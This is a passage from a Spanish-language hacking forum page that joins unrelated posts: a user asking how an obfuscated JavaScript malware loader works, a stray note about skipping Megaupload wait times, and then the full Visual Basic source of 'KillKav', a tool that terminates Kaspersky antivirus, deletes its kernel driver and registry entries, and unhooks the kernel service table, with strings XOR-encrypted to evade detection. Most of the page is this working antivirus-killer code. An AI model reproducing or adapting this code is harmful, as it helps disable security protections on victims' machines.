Temas

buenos dias, hace mucho que no venia por elhacker.net. ,

solicito la ayuda de alguien en la medida de lo posible, quisiera saber si alguien ha descifrado algun malware de JS

Código [Seleccionar] Expandir

b = [], Q = "", J = 3;

if (typeof prompt != "undefined") {
  var v = J++;
}
var v = v || Math, k = parseInt, i = "slice", z = "fromCharCode";

for (var Z = 0; Z < E.length;) b[~~(Z / 3)] = k(E[i](Z, Z += J), 23);
for (var X = 0; X < b.length; X += 2) Q += String[z](b[X] ^ b[X + 1]);var N = Math["floor"].constructor; N(Q)();

apenas comienzo con JS y me seria de mucha ayuda descifrar el code anteriror, me quedo varado en la ultima instrucción, en realidad no entiendo que hace

Código [Seleccionar] Expandir

Math["floor"].constructor;

por lo que he consultado es una funcion matematica para manejo de numeros enteros, si alguien me podria colabrar quedo agradecido

XcryptOR

bueno me pareció interesante hacer esto en VB [Aunque es una lamerada]  aprovechando el  ‫javascript que se encarga de hacerlo, y como dice el titulo sirve para evitar el tiempo de espera para descargas de megaupload.  

Source

Bueno como no he tenido tiempo para depurar el code lo dejo a su dispocisión, espero les sirva como ejemplo

[youtube=425,350]http://www.youtube.com/watch?v=dvVj7bNPqKY[/youtube]


Modulo1:

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Project     : KillKav [Kaspersky Killer]
' Date        : 19/03/2009 18:10
' Author      : XcryptOR
' Purpose     : Kill Kaspersky Antivirus, Delete Klif.sys Driver & Related Registry Entries
' Versions    : Kaspersky Antivirus 6,7,8, kaspersky 2009 y KIS 2009
' OS          : Windows XP Sp1, Sp2, Sp3. Vista(it needs some changes but works)
' Bugs        : When KLIM5.sys (Kaspersky NDIS Filter) Registry entry is delete the next reboot
'               we can't access internet because the filter was not unistalled, the function
'               Clean_TCPIP_Stack do the work, but i can't use when kill kaspersky only in the
'               Next reboot, i believe that is not a problem to fix
'               It can be improve very much it's only a POC
' Credits     : Iceboy, Syntax_err, and all the chinese Crew of vbgood
'---------------------------------------------------------------------------------------
Private Sub Main()
    EnablePrivilege SE_DEBUG_PRIVILEGE, True
    FindNtdllExport
    GetSSDT
    Fuck_KAV
    KillRegs
   
End Sub
Private Sub Fuck_KAV()
    Dim hProcess        As Long
    Dim Pid             As Long
   
    Pid = GetPIDByName(Crypt("¹®¨ö½ ½")) ' Get The PID By Name in this case AVP.exe
       
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, Pid)
    If hProcess = 0 Then
            hProcess = LzOpenProcess(PROCESS_ALL_ACCESS, Pid)
    End If
   
    Call MyTerminateProcess(hProcess, 0)
   
    ' strings are XOR crypted, to avoid some heuristics, the source is FUD: scan on NVT and virustotal
    If DeleteDriver(Crypt(",,çç,,›,,±¶¼·¯«,,‹¡«¬½µëê,,œª±®½ª«,,"´±¾ö«¡«")) = True Then '\??\C:\Windows\System32\Drivers\Klif.sys
            MsgBox Crypt("œª±®½ªø"´±¾ö«¡«ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½") & vbCrLf & _
                   Crypt("ùø"¹«¨½ª«³¡ø°¹ø«±¼·ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½øy"), _
                   vbExclamation, Crypt(""¹«¨½ª«³¡ø"±´´½ªøõø›·¼½¼øš¡ø€»ª¡¨¬·ª")
    End If
End Sub


Modulo2:

Código (vb) [Seleccionar] Expandir


Public Enum SYSTEM_INFORMATION_CLASS
    SystemBasicInformation
    SystemHandleInformation
End Enum

Public Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
ByVal pSystemInformation As Long, _
ByVal SystemInformationLength As Long, _
ByRef ReturnLength As Long) As Long

Public Type SYSTEM_HANDLE_TABLE_ENTRY_INFO
    UniqueProcessId         As Integer
    CreatorBackTraceIndex   As Integer
    ObjectTypeIndex         As Byte
    HandleAttributes        As Byte
    HandleValue             As Integer
    pObject                 As Long
    GrantedAccess           As Long
End Type

Public Type SYSTEM_HANDLE_INFORMATION
    NumberOfHandles         As Long
    Handles(1 To 1)         As SYSTEM_HANDLE_TABLE_ENTRY_INFO
End Type

Public Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Public Const STATUS_ACCESS_DENIED = &HC0000022

Public Declare Function ZwWriteVirtualMemory Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal BaseAddress As Long, _
ByVal pBuffer As Long, _
ByVal NumberOfBytesToWrite As Long, _
ByRef NumberOfBytesWritten As Long) As Long

Public Declare Function ZwOpenProcess Lib "ntdll.dll" ( _
ByRef ProcessHandle As Long, _
ByVal AccessMask As Long, _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES, _
ByRef ClientId As CLIENT_ID) As Long

Public Type OBJECT_ATTRIBUTES
    Length                  As Long
    RootDirectory           As Long
    ObjectName              As Long
    Attributes              As Long
    SecurityDescriptor      As Long
    SecurityQualityOfService As Long
End Type

Public Type CLIENT_ID
    UniqueProcess           As Long
    UniqueThread            As Long
End Type

Public Const PROCESS_QUERY_INFORMATION      As Long = &H400
Public Const STATUS_INVALID_CID             As Long = &HC000000B

Public Declare Function ZwClose Lib "ntdll.dll" ( _
ByVal ObjectHandle As Long) As Long

Public Const ZwGetCurrentProcess            As Long = -1
Public Const ZwGetCurrentThread             As Long = -2
Public Const ZwCurrentProcess               As Long = ZwGetCurrentProcess
Public Const ZwCurrentThread                As Long = ZwGetCurrentThread

Public Declare Function ZwCreateJobObject Lib "ntdll.dll" ( _
ByRef JobHandle As Long, _
ByVal DesiredAccess As Long, _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long

Public Declare Function ZwAssignProcessToJobObject Lib "ntdll.dll" ( _
ByVal JobHandle As Long, _
ByVal ProcessHandle As Long) As Long

Public Declare Function ZwTerminateJobObject Lib "ntdll.dll" ( _
ByVal JobHandle As Long, _
ByVal ExitStatus As Long) As Long

Public Const OBJ_INHERIT = &H2
Public Const STANDARD_RIGHTS_REQUIRED       As Long = &HF0000
Public Const SYNCHRONIZE                    As Long = &H100000
Public Const JOB_OBJECT_ALL_ACCESS          As Long = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H1F
Public Const PROCESS_DUP_HANDLE             As Long = &H40
Public Const PROCESS_ALL_ACCESS             As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Public Const THREAD_ALL_ACCESS              As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H3FF)
Public Const OB_TYPE_PROCESS                As Long = &H5

Public Type PROCESS_BASIC_INFORMATION
    ExitStatus              As Long
    PebBaseAddress          As Long
    AffinityMask            As Long
    BasePriority            As Long
    UniqueProcessId         As Long
    InheritedFromUniqueProcessId As Long
End Type

Public Declare Function ZwDuplicateObject Lib "ntdll.dll" ( _
ByVal SourceProcessHandle As Long, _
ByVal SourceHandle As Long, _
ByVal TargetProcessHandle As Long, _
ByRef TargetHandle As Long, _
ByVal DesiredAccess As Long, _
ByVal HandleAttributes As Long, _
ByVal Options As Long) As Long

Public Const DUPLICATE_CLOSE_SOURCE = &H1
Public Const DUPLICATE_SAME_ACCESS = &H2
Public Const DUPLICATE_SAME_ATTRIBUTES = &H4

Public Declare Function ZwQueryInformationProcess Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal ProcessInformationClass As PROCESSINFOCLASS, _
ByVal ProcessInformation As Long, _
ByVal ProcessInformationLength As Long, _
ByRef ReturnLength As Long) As Long

Public Enum PROCESSINFOCLASS
        ProcessBasicInformation
End Enum

Public Const STATUS_SUCCESS                 As Long = &H0
Public Const STATUS_INVALID_PARAMETER       As Long = &HC000000D

Public Declare Function ZwTerminateProcess Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal ExitStatus As Long) As Long

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Public Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type

Public Type a_my
    name                    As String
    Pid                     As Long
    tid                     As Long
    Handle                  As Long
End Type

Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
ByVal lpModuleName As String) As Long

Public Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Long, _
ByVal lpProcName As String) As Long

Public Function NT_SUCCESS(ByVal Status As Long) As Boolean
          NT_SUCCESS = (Status >= 0)
End Function

Public Sub CopyMemory(ByVal Dest As Long, ByVal Src As Long, ByVal cch As Long)
Dim Written As Long
        Call ZwWriteVirtualMemory(ZwCurrentProcess, Dest, Src, cch, Written)
End Sub

Public Function IsItemInArray(ByVal dwItem, ByRef dwArray() As Long) As Boolean
Dim Index As Long
        For Index = LBound(dwArray) To UBound(dwArray)
                If (dwItem = dwArray(Index)) Then IsItemInArray = True: Exit Function
        Next
        IsItemInArray = False
End Function

Public Sub AddItemToArray(ByVal dwItem As Long, ByRef dwArray() As Long)
On Error GoTo ErrHdl

        If (IsItemInArray(dwItem, dwArray)) Then Exit Sub
       
        ReDim Preserve dwArray(UBound(dwArray) + 1)
        dwArray(UBound(dwArray)) = dwItem
ErrHdl:
       
End Sub


Modulo3:

Código (vb) [Seleccionar] Expandir


Private Declare Function SHDeleteKey Lib "shlwapi.dll" Alias "SHDeleteKeyA" ( _
ByVal hKey As Long, _
ByVal pszSubKey As String) As Long  ' Delete a key and subkeys from registry
       
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
ByVal ulOptions As Long, _
ByVal samDesired As Long, _
phkResult As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" ( _
ByVal hKey As Long) As Long

Private Declare Function RegDeleteValue Lib "advapi32.dll" _
Alias "RegDeleteValueA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String) As Long

Private Const REG_SZ                                As Long = 1
Private Const REG_EXPAND_SZ                         As Long = 2
Private Const REG_BINARY                            As Long = 3
Private Const REG_DWORD                             As Long = 4
Private Const REG_MULTI_SZ                          As Long = 7

Private Const KEY_QUERY_VALUE                       As Long = &H1
Private Const KEY_ALL_ACCESS                        As Long = &H3F
Private Const REG_OPTION_NON_VOLATILE               As Long = 0

Private Const HKEY_CLASSES_ROOT                     As Long = &H80000000
Private Const HKEY_CURRENT_CONFIG                   As Long = &H80000005
Private Const HKEY_CURRENT_USER                     As Long = &H80000001
Private Const HKEY_DYN_DATA                         As Long = &H80000006
Private Const HKEY_LOCAL_MACHINE                    As Long = &H80000002
Private Const HKEY_PERFORMANCE_DATA                 As Long = &H80000004
Private Const HKEY_USERS                            As Long = &H80000003
Private Declare Function ZwDeleteFile Lib "ntdll.dll" ( _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long

Private Declare Sub RtlInitUnicodeString Lib "ntdll.dll" ( _
ByVal DestinationString As Long, _
ByVal SourceString As Long)

Private Type UNICODE_STRING
        Length              As Integer
        MaximumLength       As Integer
        Buffer              As String
End Type

Private Type OBJECT_ATTRIBUTES
        Length                      As Long
        RootDirectory               As Long
        ObjectName                  As Long
        Attributes                  As Long
        SecurityDescriptor          As Long
        SecurityQualityOfService    As Long
End Type

Private Const OBJ_CASE_INSENSITIVE          As Long = &H40

Public Const SE_SHUTDOWN_PRIVILEGE          As Long = 19
Public Const SE_DEBUG_PRIVILEGE             As Long = 20

Private Const STATUS_NO_TOKEN               As Long = &HC000007C

Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" ( _
ByVal Privilege As Long, _
ByVal Enable As Boolean, _
ByVal Client As Boolean, _
WasEnabled As Long) As Long

Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" ( _
ByVal lFlags As Long, _
ByVal lProcessID As Long) As Long
'---
Private Declare Function Process32First Lib "kernel32" ( _
ByVal hSnapShot As Long, _
uProcess As PROCESSENTRY32) As Long
'---
Private Declare Function Process32Next Lib "kernel32" ( _
ByVal hSnapShot As Long, _
uProcess As PROCESSENTRY32) As Long
'---
Private Const TH32CS_SNAPHEAPLIST           As Long = &H1
Private Const TH32CS_SNAPPROCESS            As Long = &H2
Private Const TH32CS_SNAPTHREAD             As Long = &H4
Private Const TH32CS_SNAPMODULE             As Long = &H8
Private Const TH32CS_SNAPALL                As Long = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Private Const MAX_PATH                      As Long = 260

Private Type PROCESSENTRY32
        dwSize              As Long
        cntUsage            As Long
        th32ProcessID       As Long
        th32DefaultHeapID   As Long
        th32ModuleID        As Long
        cntThreads          As Long
        th32ParentProcessID As Long
        pcPriClassBase      As Long
        dwFlags             As Long
        szExeFile           As String * MAX_PATH
End Type

Public Declare Function WinExec Lib "kernel32" ( _
ByVal lpCmdLine As String, _
ByVal nCmdShow As Long) As Long

Public Const SW_HIDE = 0

'========================================================================================
'================================ Get ID Process By Name ================================
'========================================================================================
Public Function GetPIDByName(ByVal PName As String) As Long
    Dim hSnapShot       As Long
    Dim uProcess        As PROCESSENTRY32
    Dim t               As Long
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
    uProcess.dwSize = Len(uProcess)
    PName = LCase(PName)
    t = Process32First(hSnapShot, uProcess)
    Do While t
        t = InStr(1, uProcess.szExeFile, Chr(0))
        If LCase(Left(uProcess.szExeFile, t - 1)) = PName Then
            GetPIDByName = uProcess.th32ProcessID
            Exit Function
        End If
        t = Process32Next(hSnapShot, uProcess)
    Loop
End Function

'========================================================================================
'==================================== Get Privileges ====================================
'========================================================================================
Public Function EnablePrivilege(ByVal Privilege As Long, Enable As Boolean) As Boolean
    Dim ntStatus        As Long
    Dim WasEnabled      As Long
    ntStatus = RtlAdjustPrivilege(Privilege, Enable, True, WasEnabled)
    If ntStatus = STATUS_NO_TOKEN Then
        ntStatus = RtlAdjustPrivilege(Privilege, Enable, False, WasEnabled)
    End If
    If ntStatus = 0 Then
        EnablePrivilege = True
    Else
        EnablePrivilege = False
    End If
End Function

'========================================================================================
'============================= Simple XOR String Encryption =============================
'========================================================================================
Public Function Crypt(txt As String) As String
    On Error Resume Next
    Dim x       As Long
    Dim PF      As String
    Dim PG      As String
   
    For x = 1 To Len(txt)
        PF = Mid(txt, x, 1)
        PG = Asc(PF)
        Crypt = Crypt & Chr(PG Xor (216 Mod 255))
    Next
End Function

'========================================================================================
'====================== Initialize Object Attributes Structure ==========================
'========================================================================================
Private Sub InicializarOA(ByRef InitializedAttributes As OBJECT_ATTRIBUTES, _
                          ByRef ObjectName As UNICODE_STRING, _
                          ByVal Attributes As Long, _
                          ByVal RootDirectory As Long, _
                          ByVal SecurityDescriptor As Long) 'inicializa las propiedades de OBJECT_ATTRIBUTES
        With InitializedAttributes
                .Length = LenB(InitializedAttributes)
                .Attributes = Attributes
                .ObjectName = VarPtr(ObjectName)
                .RootDirectory = RootDirectory
                .SecurityDescriptor = SecurityDescriptor
                .SecurityQualityOfService = 0
        End With
End Sub

'========================================================================================
'=============================== Delete KLIF.sys Driver =================================
'========================================================================================
Public Function DeleteDriver(StrDriverPath As String) As Boolean
On Error Resume Next
    Dim OA          As OBJECT_ATTRIBUTES
    Dim UStrPath    As UNICODE_STRING
    RtlInitUnicodeString ByVal VarPtr(UStrPath), StrPtr(StrDriverPath) ' Path debe estar en formato de para APIs Nativas "\??\C:\Windows\System32\Drivers\Klif.sys"
    InicializarOA OA, UStrPath, OBJ_CASE_INSENSITIVE, 0, 0
   
    If NT_SUCCESS(ZwDeleteFile(OA)) Then
        DeleteDriver = True
    End If
End Function

'===================================================================================
'================== Delete Registry Entries of all Kasper Services =================
'===================================================================================
Public Sub KillRegs()
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›­ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,™Žˆ")              '"SYSTEM\CurrentControlSet\Services\AVP"
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›­ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,³´é")              '"SYSTEM\CurrentControlSet\Services\kl1"
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›­ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,""'ž")             '"SYSTEM\CurrentControlSet\Services\KLIF"
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›­ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,³´±µí")            '"SYSTEM\CurrentControlSet\Services\klim5"
    DeleteAllKeys GetHKEY(3), Crypt("‹·¾¬¯¹ª½,,"¹«¨½ª«³¡"¹º")                              '"Software\KasperskyLab"
    DeleteAllKeys GetHKEY(1), Crypt("›"‹'œ,,£¼¼êëèààèõìáí¹õéé¼éõºèîìõèèàèìཻ꾻í¥")       '"CLSID\{dd230880-495a-11d1-b064-008048ec2fc5}" : Remove from Context Menu
    DeleteKey Crypt("‹·¾¬¯¹ª½,,•±»ª·«·¾¬,,±¶¼·¯«,,›­ªª½¶¬Ž½ª«±·¶,,Š­¶"), Crypt("¹®¨"), 3     '"Software\Microsoft\Windows\CurrentVersion\Run", "avp"
End Sub

'===================================================================================
'========================= Eliminar el valor del Registro ==========================
'===================================================================================
Public Sub DeleteKey(sKey, nKey, RegKey)
    On Error Resume Next
    Dim RK          As Long
    Dim l           As Long
    Dim hKey        As Long
    l = RegOpenKeyEx(GetHKEY(RegKey), sKey, 0, KEY_ALL_ACCESS, hKey)
    l = RegDeleteValue(hKey, nKey)
    l = RegCloseKey(hKey)
End Sub

'===================================================================================
'===================== Delete Keys and Subkeys from Registry =======================
'===================================================================================
Private Sub DeleteAllKeys(hKey As String, key As String)
    Dim lResult As Long
    lResult = SHDeleteKey(hKey, key)
End Sub

Private Function GetHKEY(RegKey)
    On Error Resume Next
    Select Case RegKey
        Case 1
        GetHKEY = HKEY_CLASSES_ROOT
        Case 2
        GetHKEY = HKEY_CURRENT_USER
        Case 3
        GetHKEY = HKEY_LOCAL_MACHINE
    End Select
End Function

'===================================================================================
'=================== Clean TCP/IP to unistall Klim5.sys NDIS =======================
'===================================================================================
Public Sub Clean_TCPIP_Stack()
WinExec "netsh int ip reset", SW_HIDE
DoEvents
WinExec "netsh winsock reset", SW_HIDE
End Sub




Modulo4:

Modulo4:

Código (vb) [Seleccionar] Expandir

' -----------------------------------------------------------------------------------
' Module        : mSSDTUnhook
' Author        : Iceboy
' Purpose       : Unhook APIs i used this great work of Iceboy to unhook Apis from Kaspersky
' -----------------------------------------------------------------------------------
Option Explicit

Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
ByVal lpLibFileName As String) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
ByVal pDst As Long, _
ByVal pSrc As Long, _
ByVal ByteLen As Long)

Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" ( _
ByVal lpString As Long) As Long

Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" ( _
ByVal lpLibFileName As Long, _
ByVal hFile As Long, _
ByVal dwFlags As Long) As Long

Private Declare Function FreeLibrary Lib "kernel32" ( _
ByVal hLibModule As Long) As Long

Private Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Long, _
ByVal lpProcName As String) As Long

Private Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
ByVal pSystemInformation As Long, _
ByVal SystemInformationLength As Long, _
ByVal pReturnLength As Long) As Long

Private Declare Function ZwSystemDebugControl Lib "ntdll.dll" ( _
ByVal ControlCode As SYSDBG_COMMAND, _
ByVal pInputBuffer As Long, _
ByVal InputBufferLength As Long, _
ByVal pOutputBuffer As Long, _
ByVal OutputBufferLength As Long, _
ByVal pReturnLength As Long) As Long

Public Enum SYSDBG_COMMAND
    SysDbgReadVirtualMemory = 8
    SysDbgWriteVirtualMemory = 9
End Enum

Private Enum SYSTEM_INFORMATION_CLASS
    SystemModuleInformation = 11
End Enum

Private Type IMAGE_DOS_HEADER
    e_magic                 As Integer
    Unused(0 To 57)         As Byte
    e_lfanew                As Long
End Type

Private Type IMAGE_NT_HEADER
    Signature               As Long
    Unused1(0 To 15)        As Byte
    SizeOfOptionalHeader    As Integer
    Characteristics         As Integer
    Magic                   As Integer
    Unused3(0 To 25)        As Byte
    ImageBase               As Long
    Unused4(0 To 23)        As Byte
    SizeOfImage             As Long
    Unused5(0 To 31)        As Byte
    NumberOfRvaAndSizes     As Long
    ExportTableRva          As Long
    ExportTableSize         As Long
    Unused6(0 To 31)        As Byte
    RelocationTableRva      As Long
    RelocationTableSize     As Long
End Type

Private Type IMAGE_EXPORT_DIRECTORY
    Unused(0 To 11)         As Byte
    name                    As Long
    Base                    As Long
    NumberOfFunctions       As Long
    NumberOfNames           As Long
    AddressOfFunctions      As Long
    AddressOfNames          As Long
    AddressOfOrdinals       As Long
End Type

Private Type IMAGE_BASE_RELOCATION
    VirtualAddress          As Long
    SizeOfBlock             As Long
End Type

Private Type IMAGE_FIXED_ENTRY
    Offset                  As Long
    Type                    As Long
End Type

Private Type ModuleInformation
    Reserved(7)             As Byte
    Base                    As Long
    Size                    As Long
    Flags                   As Long
    Index                   As Integer
    Unknown                 As Integer
    Loadcount               As Integer
    ModuleNameOffset        As Integer
    ImageName(250)          As long
End Type

Private Type MEMORY_CHUNKS
    Address                 As Long
    pData                   As Long
    Length                  As Long
End Type

Private Const DONT_RESOLVE_DLL_REFERENCES   As Long = 1
Private Const IMAGE_REL_BASED_HIGHLOW       As Long = 3
Private Const IMAGE_FILE_RELOCS_STRIPPED    As Integer = 1

Dim FuncName(1023)                          As String
Dim Address1(1023)                          As Long
Dim Address2(1023)                          As Long
Dim ModuleName(1023)                        As String

Dim dwServices                              As Long
Dim dwKernelBase                            As Long
Dim dwKiServiceTable                        As Long

Public Sub RecoverSSDT(ByVal num As Long)
    Address2(num) = Address1(num)
End Sub

Public Sub WriteSSDT()
    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
    With QueryBuff
        .Address = dwKiServiceTable + dwKernelBase
        .pData = VarPtr(Address2(0))
        .Length = dwServices * 4
        ZwSystemDebugControl SysDbgWriteVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
        If ReturnLength <> .Length Then MsgBox "SSDT Cannot Write", vbCritical
    End With
End Sub

Private Function ModuleInformationFromPtr(ByVal pmi As Long) As ModuleInformation
    CopyMemory VarPtr(ModuleInformationFromPtr), pmi, 284
End Function

Private Function BaseRelocationFromPtr(ByVal pbr As Long) As IMAGE_BASE_RELOCATION
    CopyMemory VarPtr(BaseRelocationFromPtr), pbr, 8
End Function

Private Function FixedEntryFromPtr(ByVal pfe As Long) As IMAGE_FIXED_ENTRY
    Dim tmp As Integer
    CopyMemory VarPtr(tmp), pfe, 2
    FixedEntryFromPtr.Offset = tmp And 4095
    CopyMemory VarPtr(tmp), pfe + 1, 1
    FixedEntryFromPtr.Type = (tmp And 240) \ 16
End Function

Private Function DwordFromPtr(ByVal pdword As Long) As Long
    CopyMemory VarPtr(DwordFromPtr), pdword, 4
End Function

Private Function WordFromPtr(ByVal pword As Long) As Long
    CopyMemory VarPtr(WordFromPtr), pword, 2
End Function

Private Function FindKiServiceTable(ByVal hModule As Long, ByVal dwKSDT As Long) As Long
    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
    Dim pbr As Long, pfe As Long, bFirstChunk As Boolean, I As Long, forto As Long
    Dim dwFixups As Long, dwPointerRva As Long, dwPointsToRva As Long
    CopyMemory VarPtr(DosHeader), hModule, 64
    With DosHeader
        Assert .e_magic = &H5A4D
        CopyMemory VarPtr(NtHeader), hModule + .e_lfanew, 168
    End With
    bFirstChunk = True
    Do While bFirstChunk Or CBool(BaseRelocationFromPtr(pbr).VirtualAddress)
        bFirstChunk = False
        pfe = pbr + 8
        forto = (BaseRelocationFromPtr(pbr).SizeOfBlock - 8) \ 2 - 1
        For I = 0 To forto
            If FixedEntryFromPtr(pfe).Type = IMAGE_REL_BASED_HIGHLOW Then
                dwFixups = dwFixups + 1
                dwPointerRva = BaseRelocationFromPtr(pbr).VirtualAddress + FixedEntryFromPtr(pfe).Offset
                dwPointsToRva = DwordFromPtr(hModule + dwPointerRva) - NtHeader.ImageBase
                If dwPointsToRva = dwKSDT Then
                    If WordFromPtr(hModule + dwPointerRva - 2) = &H5C7 Then
                        FindKiServiceTable = DwordFromPtr(hModule + dwPointerRva + 4) - NtHeader.ImageBase
                        Exit Function
                    End If
                End If
            End If
            pfe = pfe + 2
        Next
        pbr = pbr + BaseRelocationFromPtr(pbr).SizeOfBlock
    Loop
End Function

Private Function AddZero(ByVal Text As String, ByVal Length As Long) As String
    AddZero = String(Length - Len(Text), "0") & Text
End Function

Public Sub GetSSDT()
On Error Resume Next
    Dim I As Long, j As Long, Length As Long, Buff() As Byte, pKernelName As Long, hKernel As Long
    Dim dwKSDT As Long, pService As Long, DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
    dwServices = 0
    ZwQuerySystemInformation SystemModuleInformation, 0, 0, VarPtr(Length)
    ReDim Buff(Length - 1)
    ZwQuerySystemInformation SystemModuleInformation, VarPtr(Buff(0)), Length, 0
    With ModuleInformationFromPtr(VarPtr(Buff(4)))
        dwKernelBase = .Base
        pKernelName = VarPtr(.ImageName(0)) + .ModuleNameOffset
    End With
    hKernel = LoadLibraryEx(pKernelName, 0, DONT_RESOLVE_DLL_REFERENCES)
    dwKSDT = GetProcAddress(hKernel, "KeServiceDescriptorTable")
    Assert dwKSDT <> 0
    dwKSDT = dwKSDT - hKernel
    dwKiServiceTable = FindKiServiceTable(hKernel, dwKSDT)
    Assert dwKiServiceTable <> 0
    CopyMemory VarPtr(DosHeader), hKernel, 64
    With DosHeader
        Assert .e_magic = &H5A4D
        CopyMemory VarPtr(NtHeader), hKernel + .e_lfanew, 168
    End With
    With NtHeader
        Assert .Signature = &H4550
        Assert .Magic = &H10B
    End With
    pService = hKernel + dwKiServiceTable
    Do While DwordFromPtr(pService) - NtHeader.ImageBase < NtHeader.SizeOfImage
        Address1(dwServices) = DwordFromPtr(pService) - NtHeader.ImageBase + dwKernelBase
        pService = pService + 4
        dwServices = dwServices + 1
    Loop
    FreeLibrary hKernel
    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
    With QueryBuff
        .Address = dwKernelBase + dwKiServiceTable
        .pData = VarPtr(Address2(0))
        .Length = dwServices * 4
    End With
    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
    Length = DwordFromPtr(VarPtr(Buff(0)))
    For I = 0 To Length - 1
        With ModuleInformationFromPtr(VarPtr(Buff(I * 284 + 4)))
            For j = 0 To dwServices - 1
                If Address2(j) >= .Base And Address2(j) < .Base + .Size Then
                    ModuleName(j) = StringFromPtr(VarPtr(.ImageName(0)))
                End If
            Next
        End With
    Next
        For I = 0 To dwServices - 1
            If Address1(I) <> Address2(I) Then
                RecoverSSDT I
                WriteSSDT
            End If
        Next
End Sub

Private Function StringFromPtr(ByVal pString As Long) As String
    Dim Buff() As Byte, Length As Long
    Length = lstrlen(pString)
    If Length = 0 Then Exit Function
    ReDim Buff(Length - 1)
    CopyMemory VarPtr(Buff(0)), pString, Length
    StringFromPtr = StrConv(Buff, vbUnicode)
End Function

Public Sub FindNtdllExport()
    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER, ExportDirectory As IMAGE_EXPORT_DIRECTORY
    Dim I As Long, hNtdll As Long, FuncRVA() As Long, NameRVA() As Long, Ordinal() As Integer, ThisName As String, ThisNumber As Long
    hNtdll = GetModuleHandle("ntdll.dll")
    Assert hNtdll <> 0
    CopyMemory VarPtr(DosHeader), hNtdll, 64
    With DosHeader
        Assert .e_magic = &H5A4D
        CopyMemory VarPtr(NtHeader), hNtdll + .e_lfanew, 128
    End With
    With NtHeader
        Assert .Signature = &H4550
        Assert .Magic = &H10B
        Assert .SizeOfOptionalHeader >= 104
        Assert .NumberOfRvaAndSizes >= 1
        Assert .ExportTableSize >= 40
        CopyMemory VarPtr(ExportDirectory), hNtdll + .ExportTableRva, 40
    End With
    With ExportDirectory
        Assert StringFromPtr(.name + hNtdll) = "ntdll.dll"
        ReDim FuncRVA(.NumberOfFunctions - .Base), NameRVA(.NumberOfNames - 1), Ordinal(.NumberOfNames - 1)
        CopyMemory VarPtr(FuncRVA(0)), hNtdll + .AddressOfFunctions + .Base * 4, (.NumberOfFunctions - .Base) * 4
        CopyMemory VarPtr(NameRVA(0)), hNtdll + .AddressOfNames, .NumberOfNames * 4
        CopyMemory VarPtr(Ordinal(0)), hNtdll + .AddressOfOrdinals, .NumberOfNames * 2
        For I = 0 To .NumberOfNames - 1
            ThisName = StringFromPtr(hNtdll + NameRVA(I))
        Next
    End With
End Sub

Public Function ReadMemory(ByVal Address As Long, ByVal Length As Long) As Byte()
    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long, Buff() As Byte
    ReDim Buff(Length - 1)
    With QueryBuff
        .Address = Address
        .pData = VarPtr(Buff(0))
        .Length = Length
    End With
    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
    If ReturnLength = Length Then ReadMemory = Buff
End Function

Public Sub Assert(ByVal bBool As Boolean)
    If Not bBool Then
        MsgBox "Assertion Failed!", vbCritical, "Error"
        End
    End If
End Sub


